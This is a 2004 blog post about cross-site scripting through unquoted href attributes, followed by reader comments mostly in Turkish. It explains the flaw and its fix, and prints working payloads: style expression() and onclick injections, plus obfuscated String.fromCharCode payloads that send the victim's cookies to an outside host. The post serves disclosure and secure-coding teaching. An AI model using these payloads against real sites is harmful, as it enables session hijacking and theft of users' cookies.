Menüyü Gizle

Small XSS Paper : Dangerous HREF Attributes which don't have quotes

Etiketler no_tag, 22.07.2004

Some web application doesn't care about web standards. Using quotes in "href" attributes in links is important for standards and also it's important for security.

Most of websites move SessionId's and other queries over URL. It means what you write URL will be appeared in page within href attributes. For avoiding XSS attacks developers Encode HTML characters from queries. Most filtered strings are [;],["],[javascript],[<],[>].

Developer can fix XSS attacks by filtering these strings but if they don't use quotes in their links they still vulnerable.

POC & Details;

Sample URL;
http://[victim]/action.asp?session=123567890

HTML Code;

<a href=default.asp?session=<%=Server.HTMLEncode(Request.Querystring("session"))%>>Main Page</a>

Possible Attack URL;

http://[victim]/?session=12312421"><script>alert(document.domain)</script>

- This will not work because we already filtered HTML.

But this works;

http://[victim]/?session=12312421'%20style='width:expression(alert(document.domain))'%20><script>alert(document.domain)</script>

I injected XSS via style::expression() method because we still can not use quotes and brackets.

Hijacking onclick action; If you hijack onclick it will be executed when victim clicks to link.

http://[victim]/?session=12312421'%20onclick='alert(document.domain)'

Some Realword Examples;

Stealth hijacking;
Inject an image to page which send cookie to attacker server (ie : http://attacker/ )

http://[victim]/?session=12312421'%20style='color:expression(!(document.x)?eval(String.fromCharCode(116,104,105,115,46,115,116,121,108,101,46,98,97,99,107,103,114,111,117,110,100,73,109,97,103,101,61,34,117,114,108,40,104,116,116,112,58,47,47,102,101,114,114,117,104,46,109,97,118,105,116,117,110,97,46,99,111,109,47,120,115,115,47,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,41,34)):0);font-weight:expression(document.x%3Dtrue)'%20&edinew=3

Page Redirection;
Redirect Page to http://attacker/?[cookies] URL with active user cookie.

http://[victim]/?session=12312421'%20style='width:expression(eval( String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,102,101,114,114,117,104,46,109,97,118,105,116,117,110,97,46,99,111,109,47,120,115,115,47,63,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)))'

This code will execute this JS when browser renders link;

document.location='http://ferruh.mavituna.com/xss/?'+escape(document.cookie)

- I use String.fromCharCode() in these samples because of our victim filtered out HTML so I still can not use brackets and some other special chars. Go http://ferruh.mavituna.com/stringfromcharcode.asp for online String.fromCharCode() generator.

How to protect ?;

Use quotes to fix this problem.

Secure HTML Code;

<a href="default.asp?session=<%=Server.HTMLEncode(Request.Querystring("session"))%>">Main Page</a>

Author;

Ferruh Mavituna http://ferruh.mavituna.com
ferruh{at}mavituna{dot}com

Date :5/9/2004

Yorum Ekle Yorumunu Ekle - Yazıcı Versiyonu Yazıcı Versiyonu - Yorumlar için RSS Yorumlar için RSS

Ferruh Mavituna - 28.11.2008

<a href="default.asp?session=<%=Server.HTMLEncode(Request.Querystring(""session""))%>">Main Page</a>


Yes this is safe.

Ceng - 26.11.2008

<a href="default.asp?session=<%=Server.HTMLEncode(Request.Querystring(""session""))%>">Main Page</a>

this code is safely?

binish - 07.08.2004

thanks for good skill..

Jayhoonova - 05.08.2004

Su class i merak ettim biz de inceleyebilir miyiz?

Shiva Shidapu - 26.07.2004

@Ferruh bey size cuma günü gönderdim yazdigim classi. Acaba inceleme firsatiniz oldu mu?

Ferruh Mavituna - 23.07.2004

@Shiva Shidapu, Tabii hem sitede yayinlayabiliriz hemde sahsen kontrol asamasinda yardimci olmaya çalisirim. Ek olarak zaten bu tip güvenilk kodlarinin public olarak test edilmesi de çok daha iyi seydir. Birinin gözünden kaçani digeri yakalayabilir.

Shiva Shidapu - 22.07.2004

Bencede bunun birde türkçesini yazsaydin.. Velasil bununla ilgili dün çok güzel bir class yazdim çok yakinda yayinlayacagim..

@Ferruh bey sitenizde de yayinlarsaniz çok mutlu olarum.. Hatta isterseniz ilk önce size gönderip denemenisi isterim.. Emin olmak için..

Classin yaptigi SQL injection ve XSS açiklarini en aza indirgemek ve hatta tamamen yapmak.. Ben yaptigim çalismalarda hersey mükhemmel ama siz bu konularda benden daha bilgilisiniz..

Eger denemeyi kabul ederseniz çok sevinirim..

Bu arada istege bagli olarak yapilan saldirilari günlük olarak logluyor. Zaman,ip ve saldiri sekli olarak..

Saygilar

kuen - 22.07.2004

türkçesinide yazsaydin süper olurdu:)

Yorum Yazın


Tüm yorumlar onaydan geçmektedir, bu işlem en uzun 30 dk. sürecektir. E-mail adresleri yeni yorumları bildirme harici hiç bir başka amaçla kullanılmamaktadır ve sitede gözükmemektedir.



Captcha Kodu